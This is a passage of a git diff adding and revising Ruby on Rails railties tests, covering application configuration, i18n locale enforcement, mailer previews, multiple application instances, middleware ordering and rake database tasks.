- assert !ActionView::Resolver.caching?
+ assert_equal false, ActionView::Resolver.caching?
end
test "config.action_view.cache_template_loading = true" do
@@ -489,7 +565,21 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert ActionView::Resolver.caching?
+ assert_equal true, ActionView::Resolver.caching?
+ end
+
+ test "config.action_view.cache_template_loading with cache_classes in an environment" do
+ build_app(initializers: true)
+ add_to_env_config "development", "config.cache_classes = false"
+
+ # These requires are to emulate an engine loading Action View before the application
+ require 'action_view'
+ require 'action_view/railtie'
+ require 'action_view/base'
+
+ require "#{app_path}/config/environment"
+
+ assert_equal false, ActionView::Resolver.caching?
end
test "config.action_dispatch.show_exceptions is sent in env" do
@@ -671,5 +761,123 @@ module ApplicationTests
end
end
end
+
+ test "config.log_level with custom logger" do
+ make_basic_app do |app|
+ app.config.logger = Logger.new(STDOUT)
+ app.config.log_level = :info
+ end
+ assert_equal Logger::INFO, Rails.logger.level
+ end
+
+ test "respond_to? accepts include_private" do
+ make_basic_app
+
+ assert_not Rails.configuration.respond_to?(:method_missing)
+ assert Rails.configuration.respond_to?(:method_missing, true)
+ end
+
+ test "config.active_record.dump_schema_after_migration is false on production" do
+ build_app
+ ENV["RAILS_ENV"] = "production"
+
+ require "#{app_path}/config/environment"
+
+ assert_not ActiveRecord::Base.dump_schema_after_migration
+ end
+
+ test "config.active_record.dump_schema_after_migration is true by default on development" do
+ ENV["RAILS_ENV"] = "development"
+
+ require "#{app_path}/config/environment"
+
+ assert ActiveRecord::Base.dump_schema_after_migration
+ end
+
+ test "config.annotations wrapping SourceAnnotationExtractor::Annotation class" do
+ make_basic_app do |app|
+ app.config.annotations.register_extensions("coffee") do |tag|
+ /#\s*(#{tag}):?\s*(.*)$/
+ end
+ end
+
+ assert_not_nil SourceAnnotationExtractor::Annotation.extensions[/\.(coffee)$/]
+ end
+
+ test "rake_tasks block works at instance level" do
+ $ran_block = false
+
+ app_file "config/environments/development.rb", <<-RUBY
+ Rails.application.configure do
+ rake_tasks do
+ $ran_block = true
+ end
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert !$ran_block
+ require 'rake'
+ require 'rake/testtask'
+ require 'rdoc/task'
+
+ Rails.application.load_tasks
+ assert $ran_block
+ end
+
+ test "generators block works at instance level" do
+ $ran_block = false
+
+ app_file "config/environments/development.rb", <<-RUBY
+ Rails.application.configure do
+ generators do
+ $ran_block = true
+ end
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert !$ran_block
+ Rails.application.load_generators
+ assert $ran_block
+ end
+
+ test "console block works at instance level" do
+ $ran_block = false
+
+ app_file "config/environments/development.rb", <<-RUBY
+ Rails.application.configure do
+ console do
+ $ran_block = true
+ end
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert !$ran_block
+ Rails.application.load_console
+ assert $ran_block
+ end
+
+ test "runner block works at instance level" do
+ $ran_block = false
+
+ app_file "config/environments/development.rb", <<-RUBY
+ Rails.application.configure do
+ runner do
+ $ran_block = true
+ end
+ end
+ RUBY
+
+ require "#{app_path}/config/environment"
+
+ assert !$ran_block
+ Rails.application.load_runner
+ assert $ran_block
+ end
end
end
diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb
index 33659db927..8e76bf27f3 100644
--- a/railties/test/application/initializers/frameworks_test.rb
+++ b/railties/test/application/initializers/frameworks_test.rb
@@ -182,7 +182,7 @@ module ApplicationTests
end
require "#{app_path}/config/environment"
ActiveRecord::Base.connection.drop_table("posts") # force drop posts table for test.
- assert ActiveRecord::Base.connection.schema_cache.tables["posts"]
+ assert ActiveRecord::Base.connection.schema_cache.tables("posts")
end
test "expire schema cache dump" do
@@ -192,7 +192,7 @@ module ApplicationTests
end
silence_warnings {
require "#{app_path}/config/environment"
- assert !ActiveRecord::Base.connection.schema_cache.tables["posts"]
+ assert !ActiveRecord::Base.connection.schema_cache.tables("posts")
}
end
@@ -217,7 +217,7 @@ module ApplicationTests
orig_database_url = ENV.delete("DATABASE_URL")
orig_rails_env, Rails.env = Rails.env, 'development'
database_url_db_name = "db/database_url_db.sqlite3"
- ENV["DATABASE_URL"] = "sqlite3://:@localhost/#{database_url_db_name}"
+ ENV["DATABASE_URL"] = "sqlite3:#{database_url_db_name}"
ActiveRecord::Base.establish_connection
assert ActiveRecord::Base.connection
assert_match(/#{database_url_db_name}/, ActiveRecord::Base.connection_config[:database])
diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb
index 97df073ec7..bc34897cdf 100644
--- a/railties/test/application/initializers/i18n_test.rb
+++ b/railties/test/application/initializers/i18n_test.rb
@@ -183,5 +183,50 @@ en:
load_app
assert_fallbacks ca: [:ca, :"es-ES", :es, :'en-US', :en]
end
+
+ test "config.i18n.enforce_available_locales is set to true by default and avoids I18n warnings" do
+ add_to_config <<-RUBY
+ config.i18n.default_locale = :it
+ RUBY
+
+ output = capture(:stderr) { load_app }
+ assert_no_match %r{deprecated.*enforce_available_locales}, output
+ assert_equal true, I18n.enforce_available_locales
+
+ assert_raise I18n::InvalidLocale do
+ I18n.locale = :es
+ end
+ end
+
+ test "disable config.i18n.enforce_available_locales" do
+ add_to_config <<-RUBY
+ config.i18n.enforce_available_locales = false
+ config.i18n.default_locale = :fr
+ RUBY
+
+ output = capture(:stderr) { load_app }
+ assert_no_match %r{deprecated.*enforce_available_locales}, output
+ assert_equal false, I18n.enforce_available_locales
+
+ assert_nothing_raised do
+ I18n.locale = :es
+ end
+ end
+
+ test "default config.i18n.enforce_available_locales does not override I18n.enforce_available_locales" do
+ I18n.enforce_available_locales = false
+
+ add_to_config <<-RUBY
+ config.i18n.default_locale = :fr
+ RUBY
+
+ output = capture(:stderr) { load_app }
+ assert_no_match %r{deprecated.*enforce_available_locales}, output
+ assert_equal false, I18n.enforce_available_locales
+
+ assert_nothing_raised do
+ I18n.locale = :es
+ end
+ end
end
end
diff --git a/railties/test/application/initializers/load_path_test.rb b/railties/test/application/initializers/load_path_test.rb
index b36628ee37..cd05956356 100644
--- a/railties/test/application/initializers/load_path_test.rb
+++ b/railties/test/application/initializers/load_path_test.rb
@@ -71,6 +71,20 @@ module ApplicationTests
assert Zoo
end
+ test "eager loading accepts Pathnames" do
+ app_file "lib/foo.rb", <<-RUBY
+ module Foo; end
+ RUBY
+
+ add_to_config <<-RUBY
+ config.eager_load = true
+ config.eager_load_paths << Pathname.new("#{app_path}/lib")
+ RUBY
+
+ require "#{app_path}/config/environment"
+ assert Foo
+ end
+
test "load environment with global" do
$initialize_test_set_from_env = nil
app_file "config/environments/development.rb", <<-RUBY
diff --git a/railties/test/application/initializers/notifications_test.rb b/railties/test/application/initializers/notifications_test.rb
index baae6fd928..95655b74cf 100644
--- a/railties/test/application/initializers/notifications_test.rb
+++ b/railties/test/application/initializers/notifications_test.rb
@@ -39,5 +39,18 @@ module ApplicationTests
assert_equal 1, logger.logged(:debug).size
assert_match(/SHOW tables/, logger.logged(:debug).last)
end
+
+ test 'rails load_config_initializer event is instrumented' do
+ app_file 'config/initializers/foo.rb', ''
+
+ events = []
+ callback = ->(*_) { events << _ }
+ ActiveSupport::Notifications.subscribed(callback, 'load_config_initializer.railties') do
+ app
+ end
+
+ assert_equal %w[load_config_initializer.railties], events.map(&:first)
+ assert_includes events.first.last[:initializer], 'config/initializers/foo.rb'
+ end
end
end
diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb
index f05eade81f..4f30f30f95 100644
--- a/railties/test/application/loading_test.rb
+++ b/railties/test/application/loading_test.rb
@@ -36,7 +36,7 @@ class LoadingTest < ActiveSupport::TestCase
test "models without table do not panic on scope definitions when loaded" do
app_file "app/models/user.rb", <<-MODEL
class User < ActiveRecord::Base
- default_scope where(published: true)
+ default_scope { where(published: true) }
end
MODEL
diff --git a/railties/test/application/mailer_previews_test.rb b/railties/test/application/mailer_previews_test.rb
new file mode 100644
index 0000000000..c588fd7012
--- /dev/null
+++ b/railties/test/application/mailer_previews_test.rb
@@ -0,0 +1,428 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+module ApplicationTests
+ class MailerPreviewsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+ include Rack::Test::Methods
+
+ def setup
+ build_app
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ test "/rails/mailers is accessible in development" do
+ app("development")
+ get "/rails/mailers"
+ assert_equal 200, last_response.status
+ end
+
+ test "/rails/mailers is not accessible in production" do
+ app("production")
+ get "/rails/mailers"
+ assert_equal 404, last_response.status
+ end
+
+ test "mailer previews are loaded from the default preview_path" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ end
+
+ test "mailer previews are loaded from a custom preview_path" do
+ add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ app_file 'lib/mailer_previews/notifier_preview.rb', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ end
+
+ test "mailer previews are reloaded across requests" do
+ app('development')
+
+ get "/rails/mailers"
+ assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+ remove_file 'test/mailers/previews/notifier_preview.rb'
+ sleep(1)
+
+ get "/rails/mailers"
+ assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ end
+
+ test "mailer preview actions are added and removed" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+
+ def bar
+ mail to: "to@example.net"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ text_template 'notifier/bar', <<-RUBY
+ Goodbye, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+
+ def bar
+ Notifier.bar
+ end
+ end
+ RUBY
+
+ sleep(1)
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ remove_file 'app/views/notifier/bar.text.erb'
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ sleep(1)
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+ assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
+ end
+
+ test "mailer previews are reloaded from a custom preview_path" do
+ add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+
+ app('development')
+
+ get "/rails/mailers"
+ assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ app_file 'lib/mailer_previews/notifier_preview.rb', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ get "/rails/mailers"
+ assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+
+ remove_file 'lib/mailer_previews/notifier_preview.rb'
+ sleep(1)
+
+ get "/rails/mailers"
+ assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
+ end
+
+ test "mailer preview not found" do
+ app('development')
+ get "/rails/mailers/notifier"
+ assert last_response.not_found?
+ assert_match "Mailer preview &#39;notifier&#39; not found", last_response.body
+ end
+
+ test "mailer preview email not found" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers/notifier/bar"
+ assert last_response.not_found?
+ assert_match "Email &#39;bar&#39; not found in NotifierPreview", last_response.body
+ end
+
+ test "mailer preview email part not found" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers/notifier/foo?part=text%2Fhtml"
+ assert last_response.not_found?
+ assert_match "Email part &#39;text/html&#39; not found in NotifierPreview#foo", last_response.body
+ end
+
+ test "message header uses full display names" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "Ruby on Rails <core@rubyonrails.org>"
+
+ def foo
+ mail to: "Andrew White <andyw@pixeltrix.co.uk>",
+ cc: "David Heinemeier Hansson <david@heinemeierhansson.com>"
+ end
+ end
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers/notifier/foo"
+ assert_equal 200, last_response.status
+ assert_match "Ruby on Rails &lt;core@rubyonrails.org&gt;", last_response.body
+ assert_match "Andrew White &lt;andyw@pixeltrix.co.uk&gt;", last_response.body
+ assert_match "David Heinemeier Hansson &lt;david@heinemeierhansson.com&gt;", last_response.body
+ end
+
+ test "part menu selects correct option" do
+ mailer 'notifier', <<-RUBY
+ class Notifier < ActionMailer::Base
+ default from: "from@example.com"
+
+ def foo
+ mail to: "to@example.org"
+ end
+ end
+ RUBY
+
+ html_template 'notifier/foo', <<-RUBY
+ <p>Hello, World!</p>
+ RUBY
+
+ text_template 'notifier/foo', <<-RUBY
+ Hello, World!
+ RUBY
+
+ mailer_preview 'notifier', <<-RUBY
+ class NotifierPreview < ActionMailer::Preview
+ def foo
+ Notifier.foo
+ end
+ end
+ RUBY
+
+ app('development')
+
+ get "/rails/mailers/notifier/foo.html"
+ assert_equal 200, last_response.status
+ assert_match '<option selected value="?part=text%2Fhtml">View as HTML email</option>', last_response.body
+
+ get "/rails/mailers/notifier/foo.txt"
+ assert_equal 200, last_response.status
+ assert_match '<option selected value="?part=text%2Fplain">View as plain-text email</option>', last_response.body
+ end
+
+ private
+ def build_app
+ super
+ app_file "config/routes.rb", "Rails.application.routes.draw do; end"
+ end
+
+ def mailer(name, contents)
+ app_file("app/mailers/#{name}.rb", contents)
+ end
+
+ def mailer_preview(name, contents)
+ app_file("test/mailers/previews/#{name}_preview.rb", contents)
+ end
+
+ def html_template(name, contents)
+ app_file("app/views/#{name}.html.erb", contents)
+ end
+
+ def text_template(name, contents)
+ app_file("app/views/#{name}.text.erb", contents)
+ end
+ end
+end
diff --git a/railties/test/application/middleware/remote_ip_test.rb b/railties/test/application/middleware/remote_ip_test.rb
index 91c5807379..946b82eeb3 100644
--- a/railties/test/application/middleware/remote_ip_test.rb
+++ b/railties/test/application/middleware/remote_ip_test.rb
@@ -33,6 +33,16 @@ module ApplicationTests
end
end
+ test "works with both headers individually" do
+ make_basic_app
+ assert_nothing_raised(ActionDispatch::RemoteIp::IpSpoofAttackError) do
+ assert_equal "1.1.1.1", remote_ip("HTTP_X_FORWARDED_FOR" => "1.1.1.1")
+ end
+ assert_nothing_raised(ActionDispatch::RemoteIp::IpSpoofAttackError) do
+ assert_equal "1.1.1.2", remote_ip("HTTP_CLIENT_IP" => "1.1.1.2")
+ end
+ end
+
test "can disable IP spoofing check" do
make_basic_app do |app|
app.config.action_dispatch.ip_spoofing_check = false
diff --git a/railties/test/application/middleware/session_test.rb b/railties/test/application/middleware/session_test.rb
index 14a56176f5..31a64c2f5a 100644
--- a/railties/test/application/middleware/session_test.rb
+++ b/railties/test/application/middleware/session_test.rb
@@ -318,7 +318,7 @@ module ApplicationTests
add_to_config <<-RUBY
config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
- config.secret_key_base = nil
+ secrets.secret_key_base = nil
RUBY
require "#{app_path}/config/environment"
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
index 251fe02bc5..1557b90d27 100644
--- a/railties/test/application/middleware_test.rb
+++ b/railties/test/application/middleware_test.rb
@@ -19,7 +19,7 @@ module ApplicationTests
end
test "default middleware stack" do
- add_to_config "config.action_dispatch.x_sendfile_header = 'X-Sendfile'"
+ add_to_config "config.active_record.migration_error = :page_load"
boot!
@@ -37,6 +37,7 @@ module ApplicationTests
"ActionDispatch::RemoteIp",
"ActionDispatch::Reloader",
"ActionDispatch::Callbacks",
+ "ActiveRecord::Migration::CheckPending",
"ActiveRecord::ConnectionAdapters::ConnectionManagement",
"ActiveRecord::QueryCache",
"ActionDispatch::Cookies",
@@ -49,12 +50,6 @@ module ApplicationTests
], middleware
end
- test "Rack::Sendfile is not included by default" do
- boot!
-
- assert !middleware.include?("Rack::Sendfile"), "Rack::Sendfile is not included in the default stack unless you set config.action_dispatch.x_sendfile_header"
- end
-
test "Rack::Cache is not included by default" do
boot!
@@ -66,7 +61,7 @@ module ApplicationTests
boot!
- assert_equal "Rack::Cache", middleware.first
+ assert middleware.include?("Rack::Cache")
end
test "ActiveRecord::Migration::CheckPending is present when active_record.migration_error is set to :page_load" do
@@ -96,6 +91,7 @@ module ApplicationTests
boot!
assert !middleware.include?("ActiveRecord::ConnectionAdapters::ConnectionManagement")
assert !middleware.include?("ActiveRecord::QueryCache")
+ assert !middleware.include?("ActiveRecord::Migration::CheckPending")
end
test "removes lock if cache classes is set" do
@@ -143,24 +139,30 @@ module ApplicationTests
end
test "insert middleware after" do
- add_to_config "config.middleware.insert_after ActionDispatch::Static, Rack::Config"
+ add_to_config "config.middleware.insert_after Rack::Sendfile, Rack::Config"
boot!
assert_equal "Rack::Config", middleware.second
end
+ test 'unshift middleware' do
+ add_to_config 'config.middleware.unshift Rack::Config'
+ boot!
+ assert_equal 'Rack::Config', middleware.first
+ end
+
test "Rails.cache does not respond to middleware" do
add_to_config "config.cache_store = :memory_store"
boot!
- assert_equal "Rack::Runtime", middleware.third
+ assert_equal "Rack::Runtime", middleware.fourth
end
test "Rails.cache does respond to middleware" do
boot!
- assert_equal "Rack::Runtime", middleware.fourth
+ assert_equal "Rack::Runtime", middleware.fifth
end
test "insert middleware before" do
- add_to_config "config.middleware.insert_before ActionDispatch::Static, Rack::Config"
+ add_to_config "config.middleware.insert_before Rack::Sendfile, Rack::Config"
boot!
assert_equal "Rack::Config", middleware.first
end
diff --git a/railties/test/application/multiple_applications_test.rb b/railties/test/application/multiple_applications_test.rb
new file mode 100644
index 0000000000..f8d8a673ae
--- /dev/null
+++ b/railties/test/application/multiple_applications_test.rb
@@ -0,0 +1,174 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+ class MultipleApplicationsTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app(initializers: true)
+ boot_rails
+ require "#{rails_root}/config/environment"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def test_cloning_an_application_makes_a_shallow_copy_of_config
+ clone = Rails.application.clone
+
+ assert_equal Rails.application.config, clone.config, "The cloned application should get a copy of the config"
+ assert_equal Rails.application.config.secret_key_base, clone.config.secret_key_base, "The base secret key on the config should be the same"
+ end
+
+ def test_inheriting_multiple_times_from_application
+ new_application_class = Class.new(Rails::Application)
+
+ assert_not_equal Rails.application.object_id, new_application_class.instance.object_id
+ end
+
+ def test_initialization_of_multiple_copies_of_same_application
+ application1 = AppTemplate::Application.new
+ application2 = AppTemplate::Application.new
+
+ assert_not_equal Rails.application.object_id, application1.object_id, "New applications should not be the same as the original application"
+ assert_not_equal Rails.application.object_id, application2.object_id, "New applications should not be the same as the original application"
+ end
+
+ def test_initialization_of_application_with_previous_config
+ application1 = AppTemplate::Application.new(config: Rails.application.config)
+ application2 = AppTemplate::Application.new
+
+ assert_equal Rails.application.config, application1.config, "Creating a new application while setting an initial config should result in the same config"
+ assert_not_equal Rails.application.config, application2.config, "New applications without setting an initial config should not have the same config"
+ end
+
+ def test_initialization_of_application_with_previous_railties
+ application1 = AppTemplate::Application.new(railties: Rails.application.railties)
+ application2 = AppTemplate::Application.new
+
+ assert_equal Rails.application.railties, application1.railties
+ assert_not_equal Rails.application.railties, application2.railties
+ end
+
+ def test_initialize_new_application_with_all_previous_initialization_variables
+ application1 = AppTemplate::Application.new(
+ config: Rails.application.config,
+ railties: Rails.application.railties,
+ routes_reloader: Rails.application.routes_reloader,
+ reloaders: Rails.application.reloaders,
+ routes: Rails.application.routes,
+ helpers: Rails.application.helpers,
+ app_env_config: Rails.application.env_config
+ )
+
+ assert_equal Rails.application.config, application1.config
+ assert_equal Rails.application.railties, application1.railties
+ assert_equal Rails.application.routes_reloader, application1.routes_reloader
+ assert_equal Rails.application.reloaders, application1.reloaders
+ assert_equal Rails.application.routes, application1.routes
+ assert_equal Rails.application.helpers, application1.helpers
+ assert_equal Rails.application.env_config, application1.env_config
+ end
+
+ def test_rake_tasks_defined_on_different_applications_go_to_the_same_class
+ $run_count = 0
+
+ application1 = AppTemplate::Application.new
+ application1.rake_tasks do
+ $run_count += 1
+ end
+
+ application2 = AppTemplate::Application.new
+ application2.rake_tasks do
+ $run_count += 1
+ end
+
+ require "#{app_path}/config/environment"
+
+ assert_equal 0, $run_count, "The count should stay at zero without any calls to the rake tasks"
+ require 'rake'
+ require 'rake/testtask'
+ require 'rdoc/task'
+ Rails.application.load_tasks
+ assert_equal 2, $run_count, "Calling a rake task should result in two increments to the count"
+ end
+
+ def test_multiple_applications_can_be_initialized
+ assert_nothing_raised { AppTemplate::Application.new }
+ end
+
+ def test_initializers_run_on_different_applications_go_to_the_same_class
+ application1 = AppTemplate::Application.new
+ $run_count = 0
+
+ AppTemplate::Application.initializer :init0 do
+ $run_count += 1
+ end
+
+ application1.initializer :init1 do
+ $run_count += 1
+ end
+
+ AppTemplate::Application.new.initializer :init2 do
+ $run_count += 1
+ end
+
+ assert_equal 0, $run_count, "Without loading the initializers, the count should be 0"
+
+ # Set config.eager_load to false so that an eager_load warning doesn't pop up
+ AppTemplate::Application.new { config.eager_load = false }.initialize!
+
+ assert_equal 3, $run_count, "There should have been three initializers that incremented the count"
+ end
+
+ def test_consoles_run_on_different_applications_go_to_the_same_class
+ $run_count = 0
+ AppTemplate::Application.console { $run_count += 1 }
+ AppTemplate::Application.new.console { $run_count += 1 }
+
+ assert_equal 0, $run_count, "Without loading the consoles, the count should be 0"
+ Rails.application.load_console
+ assert_equal 2, $run_count, "There should have been two consoles that increment the count"
+ end
+
+ def test_generators_run_on_different_applications_go_to_the_same_class
+ $run_count = 0
+ AppTemplate::Application.generators { $run_count += 1 }
+ AppTemplate::Application.new.generators { $run_count += 1 }
+
+ assert_equal 0, $run_count, "Without loading the generators, the count should be 0"
+ Rails.application.load_generators
+ assert_equal 2, $run_count, "There should have been two generators that increment the count"
+ end
+
+ def test_runners_run_on_different_applications_go_to_the_same_class
+ $run_count = 0
+ AppTemplate::Application.runner { $run_count += 1 }
+ AppTemplate::Application.new.runner { $run_count += 1 }
+
+ assert_equal 0, $run_count, "Without loading the runners, the count should be 0"
+ Rails.application.load_runner
+ assert_equal 2, $run_count, "There should have been two runners that increment the count"
+ end
+
+ def test_isolate_namespace_on_an_application
+ assert_nil Rails.application.railtie_namespace, "Before isolating namespace, the railtie namespace should be nil"
+ Rails.application.isolate_namespace(AppTemplate)
+ assert_equal Rails.application.railtie_namespace, AppTemplate, "After isolating namespace, we should have a namespace"
+ end
+
+ def test_inserting_configuration_into_application
+ app = AppTemplate::Application.new(config: Rails.application.config)
+ new_config = Rails::Application::Configuration.new("root_of_application")
+ new_config.secret_key_base = "some_secret_key_dude"
+ app.config.secret_key_base = "a_different_secret_key"
+
+ assert_equal "a_different_secret_key", app.config.secret_key_base, "The configuration's secret key should be set."
+ app.config = new_config
+ assert_equal "some_secret_key_dude", app.config.secret_key_base, "The configuration's secret key should have changed."
+ assert_equal "root_of_application", app.config.root, "The root should have changed to the new config's root."
+ assert_equal new_config, app.config, "The application's config should have changed to the new config."
+ end
+ end
+end
diff --git a/railties/test/application/rake/dbs_test.rb b/railties/test/application/rake/dbs_test.rb
index 9e711f25bd..15414db00f 100644
--- a/railties/test/application/rake/dbs_test.rb
+++ b/railties/test/application/rake/dbs_test.rb
@@ -1,4 +1,5 @@
require "isolation/abstract_unit"
+require "active_support/core_ext/string/strip"
module ApplicationTests
module RakeTests
@@ -20,62 +21,53 @@ module ApplicationTests
end
def set_database_url
- ENV['DATABASE_URL'] = "sqlite3://:@localhost/#{database_url_db_name}"
+ ENV['DATABASE_URL'] = "sqlite3:#{database_url_db_name}"
# ensure it's using the DATABASE_URL
FileUtils.rm_rf("#{app_path}/config/database.yml")
end
- def expected
- @expected ||= {}
- end
-
- def db_create_and_drop
+ def db_create_and_drop(expected_database)
Dir.chdir(app_path) do
output = `bundle exec rake db:create`
- assert_equal output, ""
- assert File.exists?(expected[:database])
- assert_equal expected[:database],
- ActiveRecord::Base.connection_config[:database]
+ assert_empty output
+ assert File.exist?(expected_database)
+ assert_equal expected_database, ActiveRecord::Base.connection_config[:database]
output = `bundle exec rake db:drop`
- assert_equal output, ""
- assert !File.exists?(expected[:database])
+ assert_empty output
+ assert !File.exist?(expected_database)
end
end
test 'db:create and db:drop without database url' do
require "#{app_path}/config/environment"
- expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
- db_create_and_drop
- end
+ db_create_and_drop ActiveRecord::Base.configurations[Rails.env]['database']
+ end
test 'db:create and db:drop with database url' do
require "#{app_path}/config/environment"
set_database_url
- expected[:database] = database_url_db_name
- db_create_and_drop
+ db_create_and_drop database_url_db_name
end
- def db_migrate_and_status
+ def db_migrate_and_status(expected_database)
Dir.chdir(app_path) do
`rails generate model book title:string;
bundle exec rake db:migrate`
output = `bundle exec rake db:migrate:status`
- assert_match(/database:\s+\S+#{expected[:database]}/, output)
+ assert_match(%r{database:\s+\S*#{Regexp.escape(expected_database)}}, output)
assert_match(/up\s+\d{14}\s+Create books/, output)
end
end
test 'db:migrate and db:migrate:status without database_url' do
require "#{app_path}/config/environment"
- expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
- db_migrate_and_status
+ db_migrate_and_status ActiveRecord::Base.configurations[Rails.env]['database']
end
test 'db:migrate and db:migrate:status with database_url' do
require "#{app_path}/config/environment"
set_database_url
